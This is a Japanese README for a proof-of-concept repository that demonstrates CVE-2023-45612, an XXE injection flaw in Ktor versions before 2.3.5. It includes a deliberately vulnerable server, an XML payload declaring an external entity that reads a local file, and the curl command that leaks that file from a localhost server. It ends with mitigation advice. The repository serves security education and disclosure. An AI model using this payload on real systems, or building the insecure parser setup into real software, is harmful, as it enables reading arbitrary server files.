
このリポジトリは、JetBrains Ktor 2.3.5より前のバージョンに存在するXML External Entity(XXE)インジェクションの脆弱性を実証する、CVE-2023-45612のProof of Conceptを提供します。
このリポジトリには、CVE-2023-45612 で特定された XML 外部エンティティ(XXE)注入の脆弱性を実証するための、脆弱性を含む Ktor サーバーが含まれています。
この脆弱性は、ContentNegotiation プラグインをデフォルトの xml() シリアライザーとともに使用する場合に、Ktor の 2.3.5 より前のバージョンに存在します。デフォルトの XML パーサーは外部エンティティの解決を防ぐように設定されていなかったため、攻撃者はサーバー上の任意のファイルを読み取ることができました。
次のセクションでは、ご自身でエクスプロイトを再現する手順を説明します。
この PoC で使用したバージョン:
Netty エンジン、Gradle Kotlin、Ktor バージョン 2.3.4(またはそれ以前のバージョン)を使用して、IntelliJ IDEA で Ktor プロジェクトを作成します。
build.gradle.kts 内に、次のプラグインを導入する必要があります:
kotlin("plugin.serialization") version "2.2.20"
および次の依存関係:
implementation("io.ktor:ktor-server-content-negotiation")
implementation("io.ktor:ktor-serialization-kotlinx-xml")
Application.kt には、サーバーを起動する main 関数と、サーバーを設定する module() 関数を含める必要があります。デフォルトでは、xml() 関数は外部エンティティの処理を許可する XML パーサーを初期化します。
fun Application.module() {
install(ContentNegotiation) {
xml()
}
configureRouting()
}
Routing.kt には、悪意のある XML を受信して解析するエンドポイントを定義する必要があります。
@Serializable
data class Message(
@XmlElement
val message: String
)
fun Application.configureRouting() {
routing {
post("/message") {
try {
val receivedMessage = call.receive<Message>()
call.respondText("Message received: ${receivedMessage.message}")
} catch (e: Exception) {
call.respond(HttpStatusCode.BadRequest, "Error: ${e.message}")
}
}
}
}
アプリケーションをビルドしてサーバーを起動します。
./gradlew build
./gradlew run
エンドポイントをテストするには、hello_message.xml という名前の XML ファイルを作成します。
<Message>
<message>Hello, world!</message>
</Message>
次の curl で実行できます(Windows の場合):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@hello_message.xml'
成功すると、次のメッセージが表示されます:
Message received: Hello, world!
テキストを少し含む secret_file.txt を作成します。その中の情報が、エクスプロイトで取得したいものです。
exploit_message.xml という名前のファイルを作成します。その内容は、secret_file.txt ファイルの内容として外部エンティティ &xxe; を定義し、そのエンティティを <message> タグ内で使用するものにします。
<!DOCTYPE Message [
<!ENTITY xxe SYSTEM "secret_file.txt">
]>
<Message>
<message>&xxe;</message>
</Message>
実行中のサーバーに対して次の curl コマンドを実行します(Windows の場合):
curl.exe -X POST 'http://127.0.0.1:8080/message' --header 'Content-Type: application/xml' --data '@exploit_message.xml'
サーバーは secret_file.txt ファイルを読み取り、その内容を HTTP レスポンスで返します:
Message received: XXE was a success.
最も効果的な解決策は、Ktor をバージョン 2.3.5 以降に更新することです。このバージョンでは、デフォルトで文書型定義の処理と外部エンティティを無効にする、安全に構成されたデフォルトの XML パーサーが使用されており、この XXE 攻撃を直接防ぐことができます。あるいは、XML パーサーを手動で構成することもできます。
追加の防御層として、リクエストボディをプレーンテキストとして読み取り、パーサーに到達する前に <!DOCTYPE や <!ENTITY などの疑わしいキーワードが含まれている場合は拒否します。
この脆弱性は XML 解析に固有のものです。アプリケーションの要件に柔軟性がある場合、最も安全な変更は XML を完全に避け、JSON のようにこの種の脆弱性を持たない形式を使用することです。
ライブラリに既知の脆弱性がないか確認し、アプリケーションに一般的なエクスプロイトがないかテストすることで、セキュリティ上の欠陥を積極的に見つけるようにしてください。